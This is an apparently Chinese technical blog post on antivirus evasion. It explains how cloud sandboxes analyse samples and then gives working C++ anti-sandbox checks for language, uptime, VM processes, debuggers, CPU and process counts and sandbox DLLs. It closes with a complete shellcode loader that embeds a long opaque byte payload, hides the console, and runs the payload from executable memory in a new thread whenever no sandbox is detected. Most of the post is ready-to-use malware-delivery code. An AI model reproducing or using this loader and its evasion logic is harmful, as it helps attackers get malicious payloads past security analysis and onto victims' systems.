免杀0到1--反沙箱

一.云沙箱的介绍

云沙箱是一种基于虚拟化技术的安全防护机制,主要用于对可疑文件、恶意代码进行分析和检测。其原理是通过在云端建立隔离的虚拟环境,将待分析的文件或代码运行在这个环境中,以模拟真实的操作系统和网络环境。通过监控和分析其行为,发现并识别其中的恶意行为。

二.云沙箱的工作流程

  1. 提交样本:用户将怀疑存在恶意的文件或代码提交给云沙箱系统。这些样本可能是通过电子邮件、下载或其他途径获得的。
  1. 环境隔离:云沙箱系统将待分析的样本运行在隔离的虚拟环境中。这个虚拟环境与真实的操作系统和网络环境相似,但是与真实系统完全隔离,以防止样本对真实系统的伤害。
  1. 动态行为分析:在虚拟环境中,云沙箱系统监控样本的行为和操作。它记录样本的文件操作、注册表修改、网络连接等行为,并生成行为日志。
  1. 恶意行为检测:云沙箱系统使用各种检测技术来分析样本的行为日志,以确定其中是否存在恶意行为。这些技术包括基于特征的检测、行为模式分析、机器学习等。
  1. 报告生成:云沙箱系统根据分析结果生成报告。报告中包含样本的基本信息、行为日志、恶意行为检测结果等。这些报告可以帮助用户了解样本的威胁程度和行为特征。

三.云沙箱的优势

  1. 强大的安全性:云沙箱系统将样本运行在隔离的虚拟环境中,可以有效防止样本对真实系统的威胁。即使样本具有破坏性,也不会对真实系统产生影响。
  1. 高效的分析能力:云沙箱系统可以同时运行多个样本进行分析,提高了分析的效率。它还可以自动化地进行分析,减少了人工操作的工作量。
  1. 及时的威胁发现:云沙箱系统可以快速发现样本的恶意行为,及时提醒用户采取相应的安全措施。这有助于防止威胁的进一步扩散和损害。

四.常规反沙箱

介绍:通过语言检测 、开机时间、延迟执行、物理内存、CPU核心数,文件名、磁盘大小、用户名、进程名去判断是否是在沙箱的环境中, 如果是在沙箱的环境,,那就退出。

检测中文

  int check() {
  	LANGID langId = GetUserDefaultUILanguage();
  	if (PRIMARYLANGID(langId) == LANG_CHINESE)
  	{
  		printf("Chinese");
  		RunCode(); // 运行我们的代码
  	}
  	else
  	{
  		printf("Error");
  		exit(1);
  	}
  	return 0;
  }

检测开机时间

  int checkStartTime(){
  	ULONG uptime = GetTickCount();
  	if (uptime >= 10 * 60 * 1000) { // 开机时间大于10分钟
  		RunCode(); // 运行我们的代码
   	}
  	else {
  		exit(1);
   	}
  }

检测虚拟机

  int checkVm(char* name) {
  	const char* list[4] = { "vmtoolsd.exe","vmwaretrat.exe","vmwareuser.exe","vmacthlp.exe" };
  	for (int i = 0; i < 4; i++) {
  		if (strcmp(name, list[i]) == 0)
  		return -1;
   	}
  	return 0;
  }
  bool CheckProcess() {
  	PROCESSENTRY32 pe32;
  	pe32.dwSize = sizeof(pe32);
  	HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  	BOOL bResult = Process32First(hProcessSnap, &pe32);
  	while (bResult) {
  		char ss_Name[MAX_PATH] = { 0 };
  		WideCharToMultiByte(CP_ACP, 0, pe32.szExeFile, -1, ss_Name, sizeof(ss_Name),NULL, NULL);
  		//printf("%s\n", ss_Name);
  		if (check(ss_Name) == -1)
  			return false;
  			bResult = Process32Next(hProcessSnap, &pe32);
   	}
  	return true;
  }

完整的反沙箱(C++)

  #include <windows.h>
  #include <iostream>
  #include <intrin.h>
  #include <Iphlpapi.h>
  #include <Psapi.h>
  #include <TlHelp32.h>
  #include <Pdh.h>
  #include <string>
  #pragma comment(lib, "IPHLPAPI.lib")
  #pragma comment(lib, "Psapi.lib")
  #pragma comment(lib, "Pdh.lib")
  #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口
  // 是否出于调试器中
  bool isDebuggerPresent() {
  	return IsDebuggerPresent() || CheckRemoteDebuggerPresent(GetCurrentProcess(), nullptr);
  }
  // 检测cpu是否支持虚拟化
  bool checkCpuVirtualization() {
  	int cpuInfo[4];
  	__cpuid(cpuInfo, 1);
  	return (cpuInfo[2] & (1 << 31)) != 0;
  }
  // 检测语言是否是非中文
  bool checkLan() {
  	LANGID langId = GetUserDefaultUILanguage();
  	if (PRIMARYLANGID(langId) == LANG_CHINESE)
  	{
  		return false;
  	}
  	else
  	{
  		return true;
  	}
  }
  // 检测进程数量是否小于60
  bool checkProcessCount() {
  	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  	PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
  	if (hSnapshot == INVALID_HANDLE_VALUE) {
  		return false;
  	}
  	int processCount = 0;
  	if (Process32First(hSnapshot, &pe32)) {
  		do {
  			processCount++;
  		} while (Process32Next(hSnapshot, &pe32));
  	}
  	CloseHandle(hSnapshot);
  	return processCount < 60;
  }
  // 检cpu数量是否小于4
  bool checkCpuCount() {
  	SYSTEM_INFO systemInfo;
  	GetSystemInfo(&systemInfo);
  	return systemInfo.dwNumberOfProcessors < 4;
  }
  bool checkStartTime() {
  	ULONG uptime = GetTickCount();
  	if (uptime >= 10 * 60 * 1000) { // 开机时间大于10分钟
  		return false;
  	}
  	else {
  		return true;
  	}
  };
  // 检测是否存在沙箱dll
  bool checkSandboxDlls() {
  	// Check for known sandbox-related DLLs
  	return GetModuleHandle(L"Cuckoo") || GetModuleHandle(L"vmcheck") ||GetModuleHandle(L"SandboxieDll") ||GetModuleHandle(L"snxhk.dll") || GetModuleHandle(L"vmsrvc") ||GetModuleHandle(L"cmdvrt32") ||GetModuleHandle(L"SbieDll.dll") || GetModuleHandle(L"dbghelp.dll");
  }
  bool checkAdminUser() {
  	wchar_t userName[UNLEN + 1];
  	DWORD userNameSize = UNLEN + 1;
  	// 获取当前计算机用户名
  	if (GetUserName(userName, &userNameSize)) {
  		wprintf(L"Current User: %s\n", userName);
  		// 检查用户名是否为"admin"
  		if (wcscmp(userName, L"admin") == 0) {
  			return false; // 是"admin"
  		}
  		else {
  			return true; // 不是"admin"
  		}
  	}
  	else {
  		wprintf(L"Error getting user name. Error code: %d\n", GetLastError());
  		return false;
  	}
  }
  // 总的检测函数
  bool checkEnvironment() {
  	return isDebuggerPresent() || checkCpuVirtualization() || checkStartTime() || checkLan() ||checkProcessCount() || checkSandboxDlls() || checkCpuCount();
  }
  unsigned char sc[] = "\x90\xe8\x2d\x05\x00\x00\x32\x0c\xc2\x57\x38\x3e\xed\xfa\x4e\x90\xc7\xf2\x04\x00\x80\x9a\x00\x45\x30\x2c\x0e\x45\x02\x2c\x0e\xe2\xf6\xab\x87\x6f\x8f\x8b\x8b\x43\x61\x3b\xbc\x59\xf7\xa6\x15\xab\x20\x55\x20\x19\xec\x63\x41\x66\x66\xc2\x8a\xbe\x36\x72\x08\x3c\xb0\xaa\x18\xa2\x60\xab\xd2\x19\xa0\xcf\x8f\x05\xfe\xbf\xbc\x2c\x5d\x62\x31\x5e\x5b\x9d\x3e\x3e\x47\x96\x3a\xbe\xee\xc7\x9f\x6d\x49\x1c\xa9\x96\x70\x96\xdd\x93\xf2\x34\x53\x57\x97\x04\x87\x40\xe1\xdf\x1c\x9b\x3e\xbd\x22\x8b\xd9\xd2\xe7\xeb\x0f\x17\x73\x52\xaf\x78\xeb\x09\x9a\xf6\x24\x41\x36\xd6\x5a\x85\xb2\x9b\x83\x0d\x11\x3f\xfd\x77\xa3\xc8\x32\x05\xbd\xab\x7a\xe7\x74\xbf\x0c\xb6\x17\x0b\x36\x2d\x51\xdb\x34\xee\x6c\x66\x56\xc9\x69\x58\x1b\x5c\x2f\x0e\x1f\x30\x05\xef\x1e\x8c\x99\xbd\x9f\xa1\x0e\xc7\xc5\x88\x64\x18\xda\xab\x6b\x8b\x37\xf9\x70\xad\x87\xb3\x76\x7e\xb0\x3e\x70\x9f\xbe\x15\x9d\x13\x2f\x7b\x9c\xde\x17\x97\x1c\xa6\xea\x08\x73\x1b\x75\xbd\x8c\xb4\x00\xd3\xc3\xda\x89\xdb\x88\x56\x56\xac\x42\x50\x64\x90\x6f\x6a\x87\xd7\xbe\x2c\x0a\xba\xe5\xe3\x01\xb0\x0e\xf1\xec\x99\x6d\xd6\xc1\xaf\x94\xf4\x5c\x60\x28\xdf\xe4\xa6\xed\x4e\xc3\x24\x04\x6c\x4c\x53\x85\x0f\x11\x80\x39\xd3\xf6\xbf\x89\xc1\x59\x21\xbf\x37\x92\xb8\x4a\x47\x3b\x2a\xdc\xa3\xad\x12\xf9\xc9\x78\xc7\xc0\x62\x06\x74\x0b\xd3\x8a\x8b\xed\x62\x34\xe4\x2b\x58\x46\xa8\x98\xfc\x18\xf4\xea\xb5\xb6\x07\xf6\xbd\x4e\x87\xe3\xd6\xad\x21\xf4\x90\xe3\x18\x35\x3c\x88\x3c\x70\x81\xb3\x02\xa0\xe0\x53\x86\x2c\x1e\xc0\xf3\x00\x7a\x31\x72\x9a\x35\x2d\x98\xed\x5d\xb5\xbc\xd9\xf3\xaa\x85\x75\xa3\xa6\xad\x2f\x06\x08\xac\x7a\x9c\x1b\xca\xf4\xd3\x69\xbb\xb8\xb9\x49\x89\xa9\xce\xf6\x4f\xa1\x60\x92\x27\x06\xf4\x1c\x57\xbb\x00\x13\x2e\x24\x14\xea\x49\x6e\x0a\xf2\x3f\x5f\x6c\x23\x10\xde\x84\xb4\x34\x20\xb3\x68\x75\xf3\x8c\x4e\x07\xc4\xfb\xbc\xdd\x18\xb5\xf7\x83\x86\x00\x3b\xff\xbc\xdf\xeb\x82\x83\xb8\x2d\xf0\x97\x4c\x56\xfb\x91\x9f\x72\x5b\xad\xd6\xd3\x01\xfa\x3f\x1f\xc6\x69\x02\x39\xca\xa7\x2f\x3a\x5a\x21\xa7\x63\x58\x99\xd3\x3d\x78\xea\xaa\xb5\x44\x57\x65\x20\xcd\xcd\x55\x51\x5f\x6a\x6b\x48\x85\x80\xea\xb5\x27\x00\x8d\x34\xec\xce\x03\x9d\xb5\xd9\x0b\x75\xd8\x33\xf7\xdc\xbd\x1d\x15\xec\x66\x16\x98\x54\xfb\x4f\x30\x41\xce\x37\xb4\x1f\xfe\x01\xba\x81\xe8\xed\x64\x0e\xec\xf9\x67\xf2\x9a\x8e\x64\x43\xc0\x37\x7c\x05\xd5\x91\xb9\xcf\xdb\x45\xca\x28\xf6\x35\x7f\xd1\xee\xac\xea\x3f\x70\x9f\x01\x73\xee\x51\x1b\x66\xe6\x15\xb9\x3e\x7b\x96\xf5\xd0\x2b\xe7\x68\xfc\x53\xaf\xc4\xf2\x88\xd8\xd6\xaf\xe4\xc4\x2e\xdb\xd9\xe3\xec\x78\x80\xa0\x89\x15\x93\x48\xc3\x7e\x82\xab\x59\xb0\x4b\x89\x15\xeb\xe0\x12\x49\x80\xf0\x57\x38\xd7\x66\x35\xba\x56\x8f\x8c\x01\xe5\xff\x53\x92\xd1\x19\x44\xa2\x3a\xf4\xa0\xb3\xad\x86\x67\x17\xb2\x49\x5c\xd4\xba\xa4\x85\xc7\x69\x3e\xab\x09\x4a\x31\x69\x26\x28\x5c\x32\xce\x08\xe1\x66\xdd\x8d\x47\xa0\x68\x9b\x1a\xdc\xee\x94\x1f\x73\x0c\x41\xd3\xc9\x25\xed\xe5\x02\x92\x9b\x84\x02\x0b\x73\x0f\x77\x98\x18\xdb\x0e\x98\xb8\x1b\xba\x4f\xa2\x1a\x90\x3b\x4d\x4d\xd7\xc3\x9d\x49\x1e\x4b\xaa\x01\xa4\x6b\xd1\x27\xaa\x25\x79\x5a\x4e\x42\x75\x2c\x2b\xa5\x04\x0e\xed\x01\xf7\x58\xb7\xdd\xc4\xdb\x07\x74\x6a\x63\x2d\x16\xb5\x19\x5d\xed\xc4\x20\x64\xd6\x5e\xd7\xa7\xa8\xf8\xae\x3b\xb3\x2b\xd5\xfb\x62\x3a\x69\x6f\x4b\x57\xd2\xe8\xe1\x30\x9b\xc8\x47\xf2\x46\x30\x7d\x51\x4f\xfb\x5e\xc7\x61\x3f\x18\xbc\x25\xc1\x72\xdd\xef\x64\x40\xce\xcb\x55\xc4\x31\x3c\xc5\xa2\x34\x1a\xd9\x8e\xba\x6f\x32\xcc\xbb\x72\x0b\xac\xd5\x57\x8e\x7c\xe2\x10\xd2\xe8\xad\xd0\x47\x91\x15\xff\x38\x99\x36\x06\x4f\x3f\x81\x8a\x97\xf3\x86\xee\x5e\x19\x85\x33\xb3\xd0\xf5\x12\x90\x3c\x5a\x29\xce\xa6\x70\xd8\x93\x62\x9c\x9e\x37\xda\x94\xcf\x76\x4b\xee\xc4\x70\x6d\x81\xd1\x0d\x6c\x6a\x8e\x71\xbe\x0c\x9e\xf2\xc3\xb0\x59\xce\x92\xcc\xc4\xb4\x48\xe3\x32\x1d\x26\x57\x46\xca\x68\x52\x25\x0c\x4b\xc2\xb5\x30\xa5\x34\xd9\x77\xae\xcf\xaa\x5f\x03\xc9\xd4\x42\xfe\x82\xd2\xd8\xfd\xd7\x2c\x50\x35\x0f\xb4\x13\xca\x4e\x7e\xaa\xc9\x2e\x89\x90\x54\xa7\xd3\x37\x45\x01\xd6\x22\xf1\x40\xf5\xba\x27\xdd\x7c\xcf\x54\x58\xf9\x21\x17\xe8\x4f\xe9\x1f\x83\xc7\x92\x8c\x1d\xe2\x5e\xb6\xc4\x98\xa0\x07\x80\xbd\x97\x82\x8a\x11\x04\x38\x2d\x8c\x11\x09\x05\xd9\xd1\x35\x66\x29\x19\xd2\x78\x0c\x41\x95\xc6\x4a\xbb\xa7\x6c\x58\x2f\xd6\x11\xc9\x3c\x2d\xb6\x65\x93\xc1\x81\xbe\xed\x1b\xb8\xc4\xa9\xc0\x3b\xc7\x0d\x04\x89\xf2\x46\xbb\xc7\xf5\x11\xd8\xc2\xbc\x6c\x7f\x6c\x6a\x17\xf6\x39\x2d\x20\xec\x2c\xd2\xbe\x3d\x97\xf1\xbd\xad\xb6\xfd\x2c\xe7\xd6\x2a\x0c\xa9\x1f\x23\xbd\x4f\x21\x2d\xb7\x9d\x79\x66\x7a\x1d\x86\x70\x69\x02\x4b\x3e\x91\x83\x0c\xce\x1b\xf9\x9c\xaf\x5f\xd2\x56\xc3\x14\x10\xda\xd4\x1e\x15\x92\x30\xe4\x8b\xc1\x1b\x8b\x6a\x25\xe5\x37\x5c\x20\xd5\x2c\x16\x6a\xdb\xbe\xfb\x2e\x91\x4c\xfd\x41\x3a\x2d\x07\x8b\x2b\x25\x5f\x88\x06\x28\xb2\x18\x70\x33\x50\xed\xa9\x1a\x0e\xec\xe1\x8e\xf4\xa9\x97\xce\x88\xde\xf2\x25\x86\x85\x8d\xff\xb5\x34\x86\x34\xec\xc8\x71\xb8\xfe\x80\x22\x4c\x5e\x64\x9d\xd2\xf2\xcd\xce\x83\x64\xf0\xb7\x78\x91\xac\xf9\xc2\x28\x56\xb0\x1f\xaf\x24\xd4\x3e\xeb\x43\x9b\x57\xfd\x56\xc1\xfe\x34\x37\xf2\x2f\x9d\xea\x68\x31\x0c\xd5\xdc\x36\xe2\xe7\x60\xf3\x3b\xa9\xcf\x1b\xd0\xd7\x08\x21\xba\xec\x88\x45\xf2\x7f\xd8\x50\x03\x27\x7b\xac\x1d\x47\xaa\x0d\x57\xc4\xf4\x8e\x27\x75\x6b\x91\x91\x50\xd0\xc0\x8c\xa8\x87\x13\x06\x32\xed\xa0\x5f\x3a\x35\x3b\xea\x7a\x8b\xb7\x3c\xd0\xe4\xaa\xd1\x3d\xb5\xf2\x2b\x27\xe3\xa1\x59\x16\x47\x23\x07\xfb\x52\xdf\x64\x3d\x7a\xf3\x47\x53\x5b\xb0\xf5\xb2\x80\xc1\xb8\xfc\xc0\x28\x10\x41\xa0\x76\xc7\xb0\x48\x8b\x3c\x24\x48\x83\xec\x08\x81\x2f\xf1\x56\x6d\x0f\xf7\x57\x04\x81\x77\x08\x4e\x90\x8b\x7f\xc1\x47\x0c\x49\xff\xe7";
  int main() {
  	if (checkEnvironment()) {
  		// 沙箱退出
  		//std::cout << "Detected sandbox environment. Exiting..." << std::endl;
  		return 1;
  	}
  	// 使用VirtualAlloc 函数申请一个 shellcode字节大小的可以执行代码的内存块
  	LPVOID addr = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  	// 把shellcode拷贝到这块内存
  	memcpy(addr, sc, sizeof(sc));
  	// 创建线程运行
  	HANDLE hThread = CreateThread(NULL,
  		NULL,
  		(LPTHREAD_START_ROUTINE)addr,
  		NULL,
  		NULL,
  		0);
  	// 等待线程运行
  	WaitForSingleObject(hThread, -1);
  	// 关闭线程
  	CloseHandle(hThread);
  }
相关推荐
froginwe114 分钟前
XML SimpleXML
开发语言
lzhdim9 分钟前
XML工具类 - C#小函数类推荐
xml·开发语言·windows·c#
左漫在成长18 分钟前
王佩丰24节Excel学习笔记——第二十三讲:饼图美化与PPT图表
笔记·学习·excel
GISer_Jing25 分钟前
Javascript数据结构——图Graph
开发语言·javascript·数据结构
weixin_4480653129 分钟前
Unity学习笔记(四)如何实现角色攻击、组合攻击
笔记·学习·unity
安冬的码畜日常32 分钟前
【Vim Masterclass 笔记03】S03L10 + S03L11:Vim 中的文本删除操作以及 Vim 思维习惯的培养(含 DIY 拓展知识点)
笔记·vim
꧁坚持很酷꧂36 分钟前
Qt天气预报系统设计界面布局第四部分左边
开发语言·qt
很楠不爱1 小时前
Qt——系统相关
开发语言·qt
垂杨有暮鸦⊙_⊙1 小时前
2024年6月英语六级CET6写作与翻译笔记
笔记·学习·六级
张敬之、1 小时前
Ribbon源码分析
java·开发语言